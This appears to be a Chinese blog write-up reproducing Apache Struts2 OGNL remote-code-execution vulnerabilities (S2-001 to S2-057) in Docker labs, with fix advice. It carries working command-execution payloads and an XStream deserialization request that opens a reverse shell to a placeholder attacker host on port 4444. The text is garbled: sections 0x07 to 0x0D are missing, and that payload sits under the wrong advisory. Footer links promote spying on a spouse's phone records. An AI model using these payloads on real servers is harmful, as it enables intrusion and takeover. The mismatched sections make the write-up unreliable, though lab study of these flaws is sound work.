Struts2漏洞合集(一)

访客4年前黑客文章564

0x00 环境搭建

这里使用 docker 环境进行的复现,下载完毕后,进入靶场环境,编译 docker 环境,启动 docker 环境,下面以一个实例举例命令:cd xxx 目录

1614856144_6040bfd09726f22c59e29.png!small

自动编译环境

命令:docker-compose build

1614856261_6040c0457e6ee36921e58.png!small?1614856276923

命令:docker-compose build

启动整个编译环境

命令:docker-compose up –d

1614856209_6040c011aab3281878081.png!small?1614856230449

查看是否启动成功

1614856193_6040c00148712d69a2943.png!small?1614856206230

访问靶机 8080 端口即可漏洞练习完成后,关闭当前 docker 环境,启用下一个即可

关闭当前环境命令:docker-compose down -v

1614856240_6040c0300e5df13c96693.png!small?1614856265864

0x01 OGNL

OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的 *** ,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

OGNL 三要素:

表达式(Expression)

表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。

根对象(Root Object)

根对象可以理解为 OGNL 的操作对象。在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。

上下文环境(Context)

有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。访问 context 对象时候需要在表达式中加上#。

说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作“在哪里进行”。

OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面我们提到的根对象(Root Object),也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(RootObject)的存取操作的表达式是不需要增加#符号进行区分的。

触发途径

通过对一系列的 struts2 的 poc 观察,一般是通过修改 StaticMethodAccess 或是创建

ProcessBuilder 对象。

_memberAccess["allowStaticMethodAccess"]=true // 用来授权允许调用静态 *** 或

new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start()

但 struts2 加强了 ognl 的验证,allowStaticMethodAccess 已经变成的 final 属性,但是任然有 *** 可以绕过。

0x02 S2-001

原理:

该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次 OGNL 表达式解析,因此它的计算就好像表达式是%{%{1 + 1}}一样,所以可以直接构造 Payload 进行命令执行。

影响版本:

Struts 2.0.0 - 2.0.8

漏洞复现

我们先来测试一下这个漏洞有没有存在该安全问题

1614856413_6040c0ddd085f06068098.png!small?1614856428748

1614856407_6040c0d707b606fce3249.png!small?1614856419840

经验证,后端对用户提交的数据参数进行了 OGNL 表达式%{value}进行解析,并成功返回该参数值,说明该漏洞存在

获取当前主机权限信息

POC:

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]

1614856538_6040c15a3cebb25abf402.png!small?1614856545861

1614856542_6040c15e8f72bfc649622.png!small?1614856550161

执行任意命令

POC:


%{ #a=(new java.lang.ProcessBuilder(new
java.lang.String[])).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close() }

1614856612_6040c1a428bf9282a8966.png!small?1614856619776

1614856616_6040c1a87efa026bc3b17.png!small?1614856624109

流量分析

正常访问:

1614856642_6040c1c21a234ecac4be1.png!small?1614856649866

漏洞测试:

1614856655_6040c1cf3091c361e3b7f.png!small?1614856662903

1614856665_6040c1d9292ffb3aaea1b.png!small?1614856672704

1614856676_6040c1e46bd1c1bd4a8a0.png!small?1614856684092

可以看到,我们的正常请求是一个 GET 请求,测试漏洞的时候,是一个 POST 传输,我们在 password 字段传递的值,解码后查看是我们构造的测试 POC:%{'111'},服务器正常响应 200,响应体中 password 的 value 值为 111。

获取当前主机权限信息

1614856695_6040c1f7e5005c6ec2dcc.png!small?1614856703473

执行任意命令

1614856708_6040c2046194c9edfd870.png!small?1614856716325

再看获取当前主机权限信息的包和执行任意命令的包,和之前的包对比,发现返回结果没有了 password 的 class 对象,返回结果直接在响应体最下方

修复建议

从 XWork 2.0.4 开始,OGNL 解析已更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 + 1}。您可以获取WebWork 2.0.4或Struts 2.0.9,其中包含已更正的XWork 库。或者,您可以获取补丁并将其自己应用于 XWork 源代码。

0x03 S2-005

原理

s2-005 漏洞的起源源于 S2-003(受影响版本: 低于 Struts 2.0.12), struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。OGNL 表达式通过#来访问 struts 的对象,struts 框架通过过滤#字符防止安全问题,然而通过 unicode 编码(#)或 8 进制(\43)即绕过了安全限制,对于 S2-003 漏洞,官方通过增加安全配置(禁止静态 *** 调用和类 *** 执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这 2 个选项打开

影响版本:

Struts 2.0.0-2.1.8.1

0x04 S2-007

原理

age 当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了 OGNL 语句的执行。

影响版本:

Struts 2.0.0 - 2.2.3

漏洞复现

构造 POC:


' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new
java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo, @org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoa mi').getInputStream())) + '

1614858525_6040c91d086b345790e28.png!small?1614858525677

1614858531_6040c923333051423ce3b.png!small?1614858531925

流量分析

1614858557_6040c93dc1d090f802e65.png!small

1614858567_6040c94734c2e938d4b04.png!small?1614858567896

通过查看流量日志,在请求体 age 字段中包含我们构造的 POC,服务器状态码返回 200,响应体中 age 字段 value 值为返回结果。

修复建议

升级到 Struts 2.2.3.1

struts2.2.3.1 对这个漏洞进行了修复,修复 *** 也异常简单,类似于 sql 注

入的 addslashes,对其中的单引号进行了转义在 getOverrideExpr函数中进行了 StringEscape,从而无法闭合单引号,也就无法构造 OGNL 表达式。

0x05 S2-008

原理

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符

限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋

的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。

影响版本:

Struts 2.1.0 – 2.3.1

漏洞复现

构造 POC:


/devmode.action?debug=command&expression=#context["xwork.
MethodAccessor.denyMethodExecution"]=false,#f=#_memberAcce ss.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setA ccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runti me@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensympho ny.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.p rintln(#d),#genxor.flush(),#genxor.close()

1614858983_6040cae735bb2252f6285.png!small?1614858984009

流量分析

1614858996_6040caf47180ddf86cd31.png!small?1614858997528

通过查看流量日志,GET 请求中携带了本次攻击的 POC,服务器状态码返回 200,响应体中为返回结果。

修复建议

强烈建议升级到包含更正后的类的 Struts 2.3.18或更高版本。

更新至 2.3.18 的 Struts 和应用更强的 acceptedParamNames 过滤器的 ParameterInterceptor 和 CookieInterceptor:

acceptedParamNames="[a-zA-Z0-9\.][()_']+";

<span lang="en-us" xml:lang="en-us">0x06 S2-009</span>

原理

OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过

ParametersInterceptor内置的所有保护(正则表达式,拒绝 *** 调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。

ParametersInterceptor中的正则表达式将top ['foo'](0)作为有效的表达式匹配,OGNL将其作为(top ['foo'])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在 HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用 *** 执行并执行任意 *** ,绕过ParametersInterceptor和OGNL库保护。

影响版本

Struts 2.1.0 - 2.3.1.1

漏洞复现

POC1:


/ajax/example5?age=1&name=(%23context[%22xwork.MethodAccessor.denyMet hodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22a llowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime() .exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamRead er(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],% 23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getR esponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z
[(name)(%27meh%27)]

1614859105_6040cb61abcdf669117d0.png!small?1614859106397

POC2:


POST /ajax/example5 HTTP/1.1
Accept: **
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2430
?
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="e8e5-da6d-881f-34f6 com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="da6d-881f-34f6-df4c com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="881f-34f6-df4c-dabf javax.crypto.CipherInputStream">
<cipher class="313f-465c-3f0c-d145 javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="465c-3f0c-d145-fbed javax.imageio.spi.FilterIterator">
<iter class="3f0c-d145-fbed-3f98 javax.imageio.spi.FilterIterator">
<iter class="d145-fbed-3f98-fa40 java.util.Collections$EmptyIterator"/>
<next class="fbed-3f98-fa40-3fda java.lang.ProcessBuilder">
<command>
<string>/usr/bin/touch</string>
<string>/tmp/shell.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="3f98-fa40-3fda-b5e1 javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="fa40-3fda-b5e1-1b36 string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="3fda-b5e1-1b36-c525 java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/articles/jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

1614863919_6040de2fba4af16903ffa.png!small?1614863920341

其中<command></command>字段为执行的命令,在/tmp下创建一个shell.txt文件。重放报错,但可以在容器/tmp文件下发现shell.txt文件,证明漏洞复现成功。

1614863929_6040de3997802e7273b60.png!small?1614863930185

漏洞利用

利用该漏洞反弹shell,payload如下:


POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2496
?
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="b5e1-1b36-c525-e89c com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="1b36-c525-e89c-e8e5 com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="c525-e89c-e8e5-da6d javax.crypto.CipherInputStream">
<cipher class="e89c-e8e5-da6d-881f javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="e8e5-da6d-881f-34f6 javax.imageio.spi.FilterIterator">
<iter class="da6d-881f-34f6-df4c javax.imageio.spi.FilterIterator">
<iter class="881f-34f6-df4c-dabf java.util.Collections$EmptyIterator"/>
<next class="313f-465c-3f0c-d145 java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&ampamp; /dev/tcp/your-ip/4444 0>&ampamp;1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="465c-3f0c-d145-fbed javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="3f0c-d145-fbed-3f98 string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="d145-fbed-3f98-fa40 java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/articles/jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

在远程命令执行过程中,由于服务器不识别&这个符号,需要编码,将&换成

1614863972_6040de64eeff9c5b855bc.png!small?1614863973644

在攻击机里面监听4444端口,拿到shell。

1614863984_6040de706298e8eb6ecdf.png!small?1614863985104

修复方案

立即升级到Struts 2.5.13。

注意:

新版本使用的默认限制策略会导致REST的一些函数停止工作,会对一些业务造成影响,建议使用以下新的接口:

apache.struts2.rest.handler.AllowedClasses

apache.struts2.rest.handler.AllowedClassNames

apache.struts2.rest.handler.XStreamPermissionProvider

临时修复方案

1.停止使用REST插件。

2.限制服务端扩展类型:


<constant name="struts.action.extension" value="xhtml,,json" />

0x0E S2-053

原理

2017年9月7日,Apache Struts发布最新的安全公告,Apache Struts 2 存在一个远程代码执行漏洞,漏洞编号为CVE-2017-12611(S2-053)。该漏洞源于在处理Freemarker标签时,如使程序员使用了不恰当的编码表达会导致远程代码执行。

漏洞信息页面:https://cwiki.apache.org/confluence/display/WW/S2-053

漏洞成因官方概述:A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals

1614864508_6040e07ce6f939dd29f08.png!small?1614864509746

影响版本

Struts 2.0.1 – Sturts 2.3.33

Struts 2.5 – Struts 2.5.10

漏洞复现

POC:


%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)) .(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). (#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)). (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}

1614864641_6040e1010861736402132.png!small?1614864641755

漏洞分析

1614864663_6040e117e18553d255782.png!small?1614864665276

整体的调用流程大概是:

通过freemarker.template.Template类的process *** ,开始解析模板。

将 struts2 标签解析成UnifiedCall对象,随即调用 struts2 标签组件进行解析。

解析标签中的各个属性值,遇到OGNL表达式则解析并执行表达式。

此处我们暂不讨论 Freemarker 模板引擎解析模板的过程,我们直接关注org.apache.struts2.components.UIBean这个类。解析过程中会调用这个类的evaluateParams ***

1614864690_6040e132f07f0943cb83b.png!small?1614864692009

这里的指的是标签对象(继承自类),所以此处的即为 hidden 标签的 name 属性值(此处为解析后的值)。跟进 *** ,可以发现其本质上是调用的 *** ,在 *** 里面会进行是否内嵌表达式的判断。

1614865158_6040e306dedd66d18bff9.png!small?1614865159463

跟进 *** ,可以发现其是通过判断表达式是否被和包裹,如果是则返回,然后进入 *** 中。

1614865228_6040e34cab3495577f5d8.png!small?1614865229281

再来看 *** ,这里有多层调用,我们直接到最后一层。 *** 中主要是创建了一个解析器(本质上是接口,但是通过获取实例进行调用,这里实例为),然后调用其 *** (箭头所指)对表达式进行计算。

1614865224_6040e348e6347010c2188.png!small?1614865225547

在的 *** 中,又调用了的 *** (即上图红框部分)。

1614865280_6040e380135fc31729a88.png!small?1614865280801

这里会触发 *** ,然后经过一系列调用,来到类的 *** 。会先从缓存中查看是否为已执行的表达式,否则会通过 *** 进行语法树解析,然后通过判断是否开启执行表达式功能。

1614865296_6040e390426ee6c9f8c47.png!small?1614865296967

1614865300_6040e3943fe352fdeb311.png!small?1614865300861

这里为,由于的类型为,继承自,所以需要对当前的进行和的判断。但显然此处不是类型,也不是类型,因此返回的都是。

1614865315_6040e3a3361747558ddf0.png!small?1614865315964

回到 *** ,会调用到的 *** ,实质上就是 *** ,后续部分就是对Ognl表达式的解析执行了,此处不再阐述。

1614865328_6040e3b088d1b59fee3a9.png!small?1614865329384

1614865332_6040e3b4b1196b93ef765.png!small?1614865333300

修复建议

用户应避免在Freemarker的结构代码中使用可写的属性,或者使用只读属性来初始化value属性(仅限 getter属性)。

用户可以升级到Apache Struts版本2.5.12或2.3.34,其中包含更多受限制的Freemarker配置,但是更好删除易受攻击的构造。

0x0F S2-057

原理

当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞。

影响版本

Apache Struts 2.3 - Struts 2.3.34

Apache Struts 2.5 - Struts 2.5.16

环境搭建

1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip用IDEA打开

1614936457_6041f98988d0841ad24c4.png!small?1614936461329

2.首先修改配置文件\struts-2.3.34\src\apps\showcase\src\main\resources\struts-actionchaining.xml为


<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd"> <struts> <package name="actionchaining" extends="struts-default"> ? <action name="actionChain1" class="fbed-3f98-fa40-3fda org.apache.struts2.showcase.actionchaining.ActionChain1"> ? <result type="redirectAction"> ? ? <param name="actionName">register2</param> ? </result> ? </action> </package> </struts>

3.在struts-2.3.34\src\apps\showcase\src\main\resources\struts.xml中添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

添加tomcat运行

1614936523_6041f9cbe7c960fed27bf.png!small?1614936527373

1614936537_6041f9d9c9d6830f70972.png!small?1614936540946

漏洞复现

1.访问http://localhost:8081/${(111+111)}/actionChain1.action

1614936565_6041f9f5330f932fa3684.png!small?1614936568399

1614936568_6041f9f8569a9c85acdcf.png!small?1614936571492

POC


/struts2_showcase_war_exploded/showcase/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/actionChain1.action

1614936592_6041fa10562f956dd1114.png!small?1614936595567

漏洞分析

主要分析了两种攻击点一:Redirect action和攻击点二:Postback result为了方便调试我用了/${(111+111)}进行分析更能展现出ONGL注入时的过程

1614936615_6041fa276b05124f1ab2f.png!small?1614936618553

Redirect action:

1.之一种方式在\struts-2.3.34\src\xwork-core\src\main\ja

va\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()处下断点进行调试

1614936638_6041fa3e088950df0e32f.png!small?1614936641104

1614936664_6041fa585c65d789a20ce.png!small?1614936668757

2.进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\ServletActionRedirectResult.java# @execute()

1614937475_6041fd837e126c8e71940.png!small?1614937478936

3.进入\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionProxy.java#@getNamespace()可以看到result对象的namespace即为/${(111+111)}。

4.回到execute()

进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java#@getUriFromActionMapping(),跟入handleNamespace()观察如何处理值

1614937517_6041fdad361876e7e7f46.png!small?1614937520513

5.handleNamespace最终结果如下

1614937537_6041fdc1531e391f6d515.png!small?1614937541293

6.返回到execute()跟进super.execute()

1614937572_6041fde4f18710efc634c.png!small?1614937576508

1614937585_6041fdf18bc98e440a4a6.png!small?1614937589103

7.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()

lastFinaLocation 111+111=222 即产生了OGNL注入。

1614937608_6041fe0823a47ebe09d2b.png!small?1614937611776

第二种 ***

1.先修改struts.actionchaing.xml中内容

1614937637_6041fe253ccd16dee8e39.png!small?1614937640401

2.在\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()可以看到 这个result对象的处理方式为 postback

1614937667_6041fe43c60003e622ea2.png!small?1614937671137

3.进入execute(),跟进makePostbackUri

1614937680_6041fe5050e61d23f7639.png!small?1614937683417

1614937721_6041fe794e759b41bc732.png!small?1614937724642

4.跟进\struts2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java# @getUriFromActionMapping() ,进入handleNamespace()观察处理值过程

1614937753_6041fe991c14923cf7a87.png!small?1614937756415

5.handleNamespace()处理值过程如下

1614937789_6041febd627df34a0fbda.png!small?1614937792867

6.回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java # @makePostbackUri()

可以看到postbackUri为/${(111+111)}/register2.action

1614937809_6041fed1271670b7adc06.png!small?1614937812822

7.我们继续回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java# @execute() *** 中往下走到super.execute()跟进

1614937823_6041fedf76e85a6fb1897.png!small?1614937826718

8.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()

lastFinaLocation 111+111=222 即产生了OGNL注入。

1614937841_6041fef1946110607dfe1.png!small?1614937844709

修复建议

1.官方补丁

目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版本:

https://struts.apache.org/download.cgi#struts2517。

2.手工修复

修改配置文件:

固定package标签页以及result的param标签页的namespace值,以及禁止使用通配符。

相关文章

怎么把老公的微信付款绑定在自己手机上

疫情期,诸如医院、工厂、写字楼、校园等复工急或人流量大的地方,紧缺高效率、抗感染、应用范围广能替代人工的防疫工具,由此催生了配送机器人、消毒机器人、医疗机器人等等机器人“新成员”。 配送达人。疫情...

聊天记录恢复app安全吗

微信备份的聊天记录怎么查看?随着时代的进步,大家更换新手机的速度也越来越快,换手机很简单,但随之而来的问题就是数。 微信备份的聊天记录怎么查看?随着时代的进步,大家更换新手机的速度也越来越快,换手机很...

中国移动查老公的手机通话清单(查老公的手机通话清单怎么查)

中国移动查老公的手机通话清单(查老公的手机通话清单怎么查) 仍然可以确定停机时间手机的位置,但不太准确。在早期阶段,手机没有关机,SIM卡在手机上。 手机关机,也将连接到互联网。 手机不...

手机QQ怎么关闭情侣空间标识(情侣空间图标能隐

手机QQ怎么关闭情侣空间标识(情侣空间图标能隐

我们知道,QQ空间自从蛮久以来,改版后就在右侧出现了个“标记好友”。如果你不管它,它会随着你往下拉网页一直出现在那。这让很多人都感觉不爽,尤其是出现一些并不想看到的人的照片的时候,那种感觉更甚!而小编...

虾皮如何拉黑客户(皮皮虾怎么行黑名单里拉出来)

虾皮如何拉黑客户(皮皮虾怎么行黑名单里拉出来)

本文导读目录: 1、shopee平台如何拉黑买家? 2、虾皮app买家怎么切换站点 3、虾皮店铺客户一直不取消订单该怎么办 4、虾皮卖家聊天软件多个虾皮店铺客服是怎么用的? 5、虾皮拉...

王者荣耀是怎么赚钱的?王者荣耀赚钱新项目

王者荣耀是怎么赚钱的?王者荣耀赚钱新项目

玩游戏可以赚钱?虽然看似一句玩笑话,但在现在玩游戏赚钱其实是非常容易的,97973豆豆下面就将为大家带来王者荣耀赚钱的方法,想要在游戏之余赚些外快的朋友可千万不要错过了。 方法一:代练 代练可...